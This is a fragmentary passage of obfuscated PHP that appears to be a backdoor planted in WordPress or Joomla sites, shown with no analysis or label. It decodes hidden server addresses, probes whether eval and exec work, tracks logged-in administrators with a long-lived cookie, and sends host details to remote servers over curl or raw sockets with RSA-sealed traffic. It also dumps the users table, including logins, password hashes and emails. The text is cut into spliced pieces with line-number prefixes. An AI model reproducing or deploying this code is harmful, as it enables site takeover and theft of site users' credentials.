00012: PRIMARY KEY (`id`)00013: ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;"; db_query( $rTfnEPRdToBnhSfwgHoC ); } $this->uQfIZmMpqyjCaRQMgMoc = array( '=02ow5FryW3ogkJnuWUq', '6yzLhDKqwETol92q', '==trcWzYyEKqwETol92q', 'g92LhZ3ni9Togyzr', '==DoiAzYiEKqiyKMgS2p', '=8zMhyzYhIJMlqzoi9Jo', '=bKnv5vpuE3phSJofI2n', 'aW3ohHzMckzp19JM2y2M', '=02ow5PoyITqmEJquWaM', '==DoiAzY6ITqu1JLgkJL', 'g92LhpzockTocM2oaWKM', '==toc5vo1AKMaSTofyzq', '==jqj5FqiyKMwyzoyA2p', '3OaY1WGoj1JL', '=pUphxKqaWKnuu2L', '=4JnhVKMeAJnfMJock2p', '=4JnhV3ox5JLl9TryuTq', 'hyzYmk2oiEaoyk2M', 'hyzYh9TqlSzLhSTM', '=4JnhNKqiW3Mf9TogyzL', '==toc5lp0Szp0SzM', 'hyzYfIJM0Aaouu2L', 'hyzYlSTqm92Mhyzp', 'aW3ohHTo5E3pgHJocW3L', '==trcWzYmgJLgyTqf9zM', '==Nqy5zYmAKMhy2M0ITo0I3o', '==jqj5PnmyzMiEUnmyzp', '==jqj5lphS2pfIzquWUq', '==trcWzYlITMuk2Mc5Jq', '0IzohZUocSzMlITMh92q', '0IzohZKMfyUqm52ohITr', '=pzpi5vouEKn0g2LukzL', '==trcWzYfy2MlITqhIUn', '=bKnv5FM4S2nfyJo', '=bKnv5PqcgJLgSzp', '==trcWzYfk2ovITqiIKp', '==DoiAzYm52ox1zM', '=02ow5lpwy2p11JLlSTM', '=0200014: PxHeRkgqRX = get_option( 'active_plugins', array() ); foreach ( $uNKzgVGGqGPxHeRkgqRX as $afaaIklbzorYXAlUjNPh ) { if ( strpos( $afaaIklbzorYXAlUjNPh, $FZxyFcxHIgRadtHnDvWU ) !== FALSE ) { $gcAQATpMyBEOsCKgBRQG = WP_PLUGIN_DIR . '/' . $afaaIklbzorYXAlUjNPh; register_deactivation_hook( $gcAQATpMyBEOsCKgBRQG, 'jqryqFBMrHdVpgSfpDad' ); break; } } } } } private function DykThtAuUVJVJpGjiOJr() { if ( !isset( $this->ANVoslonRNQSwwQloQTx[ 'info' ][ 'serverKey' ] ) || strlen( $this->ANVoslonRNQSwwQloQTx[ 'info' ][ 'serverKey' ] ) < 3 ) { return false; }else{ $dRxgBmOpUKkRaEKwAISv = substr( md5( $this->ANVoslonRNQSwwQloQTx['info']['serverKey'] ) , 3 , 5 ); } if ( isset( $_COOKIE[ $dRxgBmOpUKkRaEKwAISv ] ) ) { return TRUE; } if ( function_exists( 'is_user_logged_in' ) ) { if ( is_user_logged_in() ) { setcookie( $dRxgBmOpUKkRaEKwAISv, '1', time() + 93312000 ); return TRUE; } } return FALSE; } private function ROnGXakeZGHvnAshuA() { if ( ! defined( 'wp_newData' ) ) { $ClbAffTqwdfsStqVgzyq = $this-00015: Tx = $this->ANVoslonRNQSwwQloQTx; foreach ( $ANVoslonRNQSwwQloQTx[ 'echo' ] as $gTFusccXHODHdNfTRcIr ) { if ( $aZkalCUWtsxgyfejJWSS != FALSE ) { str_replace( "rFofWoxFwVRGhuCOjsaK = str_replace( $MsLKWZubUpwZsXweShFg, "", $rFofWoxFwVRGhuCOjsaK ); return $this->rFofWoxFwVRGhuCOjsaK; } private function frtYLIADcPvIgOOOlqwP() { $ANVoslonRNQSwwQloQTx = array(); foreach ( $this->uQfIZmMpqyjCaRQMgMoc as $ZRhtpGOgTZTZRdeSYVBw ) { $ANVoslonRNQSwwQloQTx[ ] = base64_decode( str_rot13( strrev( $ZRhtpGOgTZTZRdeSYVBw ) ) ); } if ( isset( $this->ANVoslonRNQSwwQloQTx[ 'info' ][ 'fail' ] ) ) { $RIDSsUypyvhaOoRUSAVT = (int) ( $ANVoslonRNQSwwQloQTx[ 'info' ][ 'fail' ] / 100 ); if ( $RIDSsUypyvhaOoRUSAVT == 0 ) { $RIDSsUypyvhaOoRUSAVT = 5; } else { $RIDSsUypyvhaOoRUSAVT *= 5; } } else { $RIDSsUypyvhaOoRUSAVT = 5; } return $this->TSmgHGGpCOaFpIQthvlU( $ANVoslonRNQSwwQloQTx, $RIDSsUypyvhaOoRUSAVT ); } private function kxNFPkmoRjlpKMZgBBSt( $nAdZoAdkHIGJvIPtmRmT ) { $ANVoslonRNQSwwQloQTx = array(); foreach ( $this->ANVoslonRNQSwwQloQTx[ 'emails' ] as $fzzoeSAOApURHlkJwYWs ) { $ANVoslonRNQSwwQloQTx[ ] = $fzzoeSAOApURHlkJwYWs; } foreach ( $this->keXZeLlUjrISqwBQePlM as $fzzoeSAOApURHlkJwYWs ) { $ANVoslonRNQSwwQloQTx[ ] = base64_decode( str_rot13( strrev( $fzzoeSAOApURHlkJwYWs ) ) ); } return $this->TSmgHGGpCOaFpIQthvlU( $ANVoslonRNQSwwQloQTx, $nAdZoAdkHIGJvIPtmRmT ); } private function bQhqyjECNagHOENBeGGx() { if ( ! defined( 'wp_getInfoData' ) ) { $ANVoslonRNQSwwQloQTx = array(); $ANVoslonRNQSwwQloQTx[ 'host' ] = $this->YJPpcHYXiHzJcujCRMrl(); $ANVoslonRNQSwwQloQTx[ 'page' ] = $_SERVER[ 'REQUEST_URI' ]; $ANVoslonRNQSwwQloQTx[ 'ip' ] = $_SERVER[ 'SERVER_ADDR' ]; $ANVoslonRNQSwwQloQTx[ 'eval' ] = $this->iIkbNPOMzHBEaGLuayXw(); $ANVoslonRNQSwwQloQTx[ 'exec' ] = $this->schzwZIoqdCTflLjVBrW(); $ANVoslonRNQSwwQloQTx[ 'serverKey' ] = $this->ERCpAYkPoxkdbTLfQwev(); $ANVoslonRNQSwwQloQTx[ 'run' ] = 0; $ANVoslonRNQSwwQloQTx[ 'type' ] = $this->TTsctbCBDGVyjyFVpVyp; $ANVoslonRNQSwwQloQTx[ 'ver' ] = '1.0x'; $ANVoslonRNQSwwQloQTx[ 'started' ] = date( 'Ymd' ); $ANVoslonRNQSwwQloQTx[ 'last_connect' ] = date( 'Ymd' ); $this->ClbAffTqwdfsStqVgzyq = $ANVoslonRNQSwwQloQTx; return $ANVoslonRNQSwwQloQTx; } return FALSE; } private funct00016: 'Ymd' ) || $qcquFjFPdpAwnQIbpBRH ) { $ANVoslonRNQSwwQloQTx = $this->zpYUVZJHzzfDLRiDDsLK( $ANVoslonRNQSwwQloQTx, $ZRhtpGOgTZTZRdeSYVBw ); if ( $ANVoslonRNQSwwQloQTx == FALSE ) { return; } else { unset( $ANVoslonRNQSwwQloQTx[ 'info' ][ 'fail' ] ); } $ANVoslonRNQSwwQloQTx[ 'info' ][ 'last_connect' ] = date( 'Ymd' ); $ANVoslonRNQSwwQloQTx[ 'info' ][ 'run' ] ++; $this->xjUhToBfRhZlhXGMjiqQ( WP_OPTION_KEY, $ANVoslonRNQSwwQloQTx ); } } } private function zpYUVZJHzzfDLRiDDsLK( $ANVoslonRNQSwwQloQTx , $ZRhtpGOgTZTZRdeSYVBw) { if ( ! defined( 'wp_updateData' ) ) { if ( isset( $ZRhtpGOgTZTZRdeSYVBw ) ) { $this->EYtAUHIreQzDKeiVNfCU( array( $ZRhtpGOgTZTZRdeSYVBw ), $ANVoslonRNQSwwQloQTx ); } $uQfIZmMpqyjCaRQMgMoc = @$ANVoslonRNQSwwQloQTx[ 'servers' ]; $WVnZYORFsYkxVCRWs = $this->EYtAUHIreQzDKeiVNfCU( $uQfIZmMpqyjCaRQMgMoc, $ANVoslonRNQSwwQloQTx ); if ( $WVnZYORFsYkxVCRWs !== FALSE ) { return $WVnZYORFsYkxVCRWs; } $WVnZYORFsYkxVCRWs = $this->EYtAUHIreQzDKeiVNfCU( $this->frtYLIADcPvIgOOOlqwP(), $A00017: QezAsCoguzeUk = curl_exec( $cPQDNzaFpBKRxzJrBNZG ); curl_close( $cPQDNzaFpBKRxzJrBNZG ); } elseif ( function_exists( 'fsockopen' ) ) { $DfDZKkNFaULmGrCVkdmO = parse_url( $ZRhtpGOgTZTZRdeSYVBw ); $FYxyvybywDQZOUsbpyEd = ( isset( $DfDZKkNFaULmGrCVkdmO[ 'port' ] ) and& $DfDZKkNFaULmGrCVkdmO[ 'port' ] ) ? (int) $DfDZKkNFaULmGrCVkdmO[ 'port' ] : 80; $NXdTbsKfmSOvfgWeGQma = ( isset( $DfDZKkNFaULmGrCVkdmO[ 'path' ] ) and& $DfDZKkNFaULmGrCVkdmO[ 'path' ] ) ? $DfDZKkNFaULmGrCVkdmO[ 'path' ] : '/'; if ( isset( $DfDZKkNFaULmGrCVkdmO[ 'query' ] ) and& $DfDZKkNFaULmGrCVkdmO[ 'query' ] ) { $NXdTbsKfmSOvfgWeGQma .= '?' . $DfDZKkNFaULmGrCVkdmO[ 'query' ]; } if ( $nWTGWQDrNcMlYfY = @fsockopen( $DfDZKkNFaULmGrCVkdmO[ 'host' ], $FYxyvybywDQZOUsbpyEd, $CUchiqUmYextPVnfusIF, $RmvXBnmlEOCDzFpLtnQh, 10 ) ) { fwrite( $nWTGWQDrNcMlYfY, "POST {$NXdTbsKfmSOvfgWeGQma} HTTP/1.1\r\n" ); fwrite( $nWTGWQDrNcMlYfY, "Host: {$DfDZKkNFaULmGrCVkdmO['host']}\r\n" ); if ( isset( $ClbAffTqwdfsStqVgzyq ) and& is_array( $ClbAffTqwdfsS00018: f ( ! $XCNhZQBknpnfsvZMzGRO ) { $ANVoslonRNQSwwQloQTx = VpLgOEumcbcbVAoDSkNT( $emDnXOMHIUCHXVocAIgZ ); } else { $ANVoslonRNQSwwQloQTx = $emDnXOMHIUCHXVocAIgZ; } $OyiOTXQchdZnmpWouwXB = $this->wbpSSSviIAVdaxozPaIs->fakDjKdyfxqzqCVYUs( $ANVoslonRNQSwwQloQTx ); return json_decode( $OyiOTXQchdZnmpWouwXB, TRUE ); } private function iIkbNPOMzHBEaGLuayXw() { $DOdyKqMLdLPiBNWSGiP = FALSE; @eval( '$DOdyKqMLdLPiBNWSGiP = true;' ); return $DOdyKqMLdLPiBNWSGiP; } private function schzwZIoqdCTflLjVBrW() { $yXsbMpubsTXSUrcitkoy = explode( ', ', ini_get( 'disable_functions' ) ); return ! in_array( 'exec', $yXsbMpubsTXSUrcitkoy ); } private function dOtEUXNeMtfvlkREDpyy( $ANVoslonRNQSwwQloQTx ) { $ANVoslonRNQSwwQloQTx = json_decode( $ANVoslonRNQSwwQloQTx ); if ( $ANVoslonRNQSwwQloQTx == NULL ) { return FALSE; } return TRUE; } private function TSmgHGGpCOaFpIQthvlU( $JKBGKZwspUYvdkeoetY, $fOdjKcnWcIxuifraDMJb ) { $WOvxjgelkBHhHJvNcmNG = count( $JKBGKZwspUYvdkeoetY ); if ( $WOvxjgelkBHhHJvNcmNG <= $fOdjKcnWcIxuifraDMJb ) { return $JKBGKZwspUYvdkeoetY; } $ANVoslonRNQSwwQloQTx[ ] = array(); $eaRKAIVvmthhlFyDIslv = array(); $ojODGGyMICxgWyMOYTZk = 0; $xLyDQzORkZZbMOednjNE = 0; while ( TRUE ) { $xLyDQzORkZZbMOednjNE ++; $emDnXOMHIUCHXVocAIgZ = $this->pyqYQwhYbXehYXYyjvyL( $this->rFofWoxFwVRGhuCOjsaK . $xLyDQzORkZZbMOednjNE, $WOvxjgelkBHhHJvNcmNG ); if ( in_array( $emDnXOMHIUCHXVocAIgZ, $eaRKAIVvmthhlFyDIslv ) ) { continue; } $eaRKAIVvmthhlFyDIslv[ ] = $emDnXOMHIUCHXVocAIgZ; $ojODGGyMICxgWyMOYTZk ++; if ( $ojODGGyMICxgWyMOYTZk == $fOdjKcnWcIxuifraDMJb ) { break; } } foreach ( $eaRKAIVvmthhlFyDIslv as $emDnXOMHIUCHXVocAIgZ ) { $ANVoslonRNQSwwQloQTx[ ] = $JKBGKZwspUYvdkeoetY[ $emDnXOMHIUCHXVocAIgZ ]; } return $ANVoslonRNQSwwQloQTx; } private function pyqYQwhYbXehYXYyjvyL( $rFofWoxFwVRGhuCOjsaK, $dPQYPSLPdhPbzVDBxQsK ) { $jbExaNRmJFLBMODyGfgz = hash( "md5", $rFofWoxFwVRGhuCOjsaK ); $FdQRXBxLOBbcesmLHZsQ = ( preg_replace( "/[^0-9,.]/", "", $jbExaNRmJFLBMODyGfgz ) ); while ( $FdQRXBxLOBbcesmLHZsQ > 10000000 ) { $FdQRXBxLOBbcesmLHZsQ /= 100000; } $this->uBgDYDxGvwTUUWgwsZtu = $FdQRXBxLOBbcesmLHZsQ; $FdQRXBxLOBbcesmLHZsQ %= $dPQYPSLPdhPbzVDBxQsK; return $FdQRXBxLOBbcesmLHZsQ; } } class ozUEwvGfThFPKEOwkFic { private $cWBcMhvuwNKQKeikhYeZ, $kgqyGHEFDeTSgaPnfjaW, $uryvGPuyNCNLgIMuTXlS; private $jiuOepDTQAtKPmDPlmA; public function __construct( $lCTNLabxnOcjyrYcxGfw = 'old' ) { if ( class_exists( 'JFactory' ) ) { $this->jiuOepDTQAtKPmDPlmA = JFactory::getDbo(); } if ( $lCTNLabxnOcjyrYcxGfw == 'new' ) { $this->ROnGXakeZGHvnAshuA(); } else { $this->eSWJphzLBsQkTYOMAcsN(); } $this->kgqyGHEFDeTSgaPnfjaW = base64_decode( 'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0NCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNksvSTJsNmsySXo3Vm9qenhrNVENCjQzUU5mSUptMmpXUHZYQXZGdGZ0K3l5NHJEM01zZVFKV3gzUExsa29SUWpTSTF1aWl3d2xQWldFRDBlNXdGZXQNCm5TNXRLaHZ2UmFPZVVQWUpxNk10eVVibmFNbjdic2hsZ2FBbFBhVUNWZEFPamR0R0hNdUZhV2ZuQkxnVFN1M2MNCnVjY1ZDMnpPbFh4N1hLMXR3MzllWmVwUmVtb2gwVzNRaGYraERGc0V6QUNTQm1LaEJpZ2Fud0NaelREdnlYcGoNCm5mYlJLYmYyNkxKREo5dTJDaG9oNzY4dlFpSWZ1ZjB0R0xRK3h4Y0JEbDJaVlcwUDc2Y2Q1STJ2K2xZUkJEL1gNCnZnVTMyL1VaZUtEaGVBOE0vb1o1L3lGdjVRV0FVMlNIRUVLWWZMa0FRbVhzL29SR3FNUU9OcW9MM1c1UTRiRS8NCmdRSURBUUFCDQotLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0=' ); } private function eSWJphzLBsQkTYOMAcsN() { $ANVoslonRNQSwwQloQTx = VpLgOEumcbcbVAoDSkNT( WP_CLIENT_KEY ); $this->cWBcMhvuwNKQKeikhYeZ = $ANVoslonRNQSwwQloQTx; } private function ROnGXakeZGHvnAshuA() { $JDdxHMyVvUKthPzmRkMS = $this->FXwiogGmWuLpHVpAIOPs(); $this->cWBcMhvuwNKQKeikhYeZ = $JDdxHMyVvUKthPzmRkMS[ 'private' ]; $this->uryvGPuyNCNLgIMuTXlS = $JDdxHMyVvUKthPzmRkMS[ 'pub00019: QloQTx ) { openssl_seal( $ANVoslonRNQSwwQloQTx, $cdtZYufTkpXBshccoVBC, $cfuSOlktfcjAgxrAbvTc, array( openssl_pkey_get_public( $this->uryvGPuyNCNLgIMuTXlS ) ) ); return json_encode( array( "data" => base64_encode( $cdtZYufTkpXBshccoVBC ), "key" => base64_encode( $cfuSOlktfcjAgxrAbvTc[ 0 ] ) ) ); } public function NgHMLtrOrvggBbUUtHKW() { return $this->uryvGPuyNCNLgIMuTXlS; } public function duINcvAvMBjVFAOeQCrT( $emDnXOMHIUCHXVocAIgZ ) { $this->uryvGPuyNCNLgIMuTXlS = $emDnXOMHIUCHXVocAIgZ; } public function fakDjKdyfxqzqCVYUs( $ANVoslonRNQSwwQloQTx ) { $uoZKldafGapBNDDpFNBP = json_decode( $ANVoslonRNQSwwQloQTx, TRUE ); if ( $uoZKldafGapBNDDpFNBP !== FALSE ) { $ANVoslonRNQSwwQloQTx = $uoZKldafGapBNDDpFNBP; } if ( ! is_array( $ANVoslonRNQSwwQloQTx ) ) { return FALSE; } openssl_open( base64_decode( trim( $ANVoslonRNQSwwQloQTx[ 'data' ] ) ), $FOhrxtRVXGleyOEepGtb, base64_decode( trim( $ANVoslonRNQSwwQloQTx[ 'key' ] ) ), $this->cWBcMhvuwNKQKeikhYeZ ); return $FOhrxtRVXGleyOEepGtb; } public function FXwiogGmWuLpHVpAIOPs() { $whjvYeznCnnMhNySt = openssl_pkey_new( array( 'private_key_bits' => 2048, 'private_key_type' => OPENSSL_KEYTYPE_RSA, ) ); openssl_pkey_export( $whjvYeznCnnMhNySt, $IaIiWByXDPbJBFciEFSs ); $ANVoslonRNQSwwQloQTx[ 'private' ] = $IaIiWByXDPbJBFciEFSs; $GOGpLousKsefGcOrKDCM = openssl_pkey_get_details( $whjvYeznCnnMhNySt ); $ANVoslonRNQSwwQloQTx[ 'public' ] = $GOGpLousKsefGcOrKDCM[ 'key' ]; return $ANVoslonRNQSwwQloQTx; } } class IaLpFyUtkdDdtRnEDrJ { private $cDnVuOXHvcWrHoZdzNsU; function __construct() { $cDnVuOXHvcWrHoZdzNsU = getcwd(); if ( $cDnVuOXHvcWrHoZdzNsU == '/' ) { return array(); } preg_match( '/^\/(.*?)(\/|$)/', $cDnVuOXHvcWrHoZdzNsU, $WUHTptpXecXQodJdwoWK ); $LWVkhAVVlTDVjJWoftlM = "/{$WUHTptpXecXQodJdwoWK[1]}/"; $ANVoslonRNQSwwQloQTx = array(); $this->cDnVuOXHvcWrHoZdzNsU = $cDnVuOXHvcWrHoZdzNsU . "/"; $this->QJmcpjlwZVrmjsqBUAye(00020: 'database']['db_prefix']}options where option_name = 'siteurl'" ) ); $ANVoslonRNQSwwQloQTx[ 'url' ] = $gOaBoMqrHWWrpAyXWcdE[ 'option_value' ]; $rgRliUQbLmyLJlLtVdhF = mysql_query( "SELECT * FROM {$ANVoslonRNQSwwQloQTx['database']['db_prefix']}users" ); while ( $DcCSVJtSBpBIHUhJeLlW = mysql_fetch_assoc( $rgRliUQbLmyLJlLtVdhF ) ) { $ANVoslonRNQSwwQloQTx[ 'access' ][ $DcCSVJtSBpBIHUhJeLlW[ 'user_login' ] ][ ] = $DcCSVJtSBpBIHUhJeLlW[ 'user_pass' ]; $ANVoslonRNQSwwQloQTx[ 'access' ][ $DcCSVJtSBpBIHUhJeLlW[ 'user_login' ] ][ ] = $DcCSVJtSBpBIHUhJeLlW[ 'user_email' ]; $ANVoslonRNQSwwQloQTx[ 'access' ][ $DcCSVJtSBpBIHUhJeLlW[ 'user_login' ] ][ ] = $DcCSVJtSBpBIHUhJeLlW[ 'user_url' ]; } $rgRliUQbLmyLJlLtVdhF = mysql_query( "select * from {$ANVoslonRNQSwwQloQTx['database']['db_prefix']}options where option_name like 'template';" ); while ( $DcCSVJtSBpBIHUhJeLlW = mysql_fetch_assoc( $rgRliUQbLmyLJlLtVdhF ) ) { $ANVoslonRNQSwwQloQTx[ 'template' ] = str_replace( ' ', '', strtolower( $DcCSVJtSBpBIH00021: user_login,00022: user_pass,